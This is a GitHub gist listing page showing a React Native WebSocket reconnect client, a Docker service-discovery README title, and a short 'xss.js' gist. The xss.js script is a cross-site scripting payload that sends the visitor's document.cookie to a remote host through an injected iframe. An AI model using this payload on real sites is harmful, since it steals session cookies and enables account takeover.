Skip to content

Instantly share code, notes, and snippets.

View dioptre's full-sized avatar

Andrew Grosser dioptre

  • Freelance
  • San Francisco
View GitHub Profile
@dioptre
dioptre / gist:eb9b1a4a8a94e2040c49cd92918a18a0
Last active June 22, 2019 20:38
Websocket Client auto-connect/reconnect implementation for React Native
export default class WebSocketClient {
constructor(url) {
this.number = 0; // Message number
this.autoReconnectInterval = 12*1000; // ms
this.url = url;
this.open();
}
open (url){
@oscarrenalias
oscarrenalias / README.md
Last active September 27, 2020 18:46
Docker service discovery with HAproxy, consul and registrator on Docker Machine and Docker Swarm
@ahhh
ahhh / xss.js
Last active February 5, 2024 22:35
xss send cookie to remote site
<script type="text/javascript">
document.write("<iframe src='http://remotehost/whatever.ok?cookie="+document.cookie+"'></iframe>");
</script>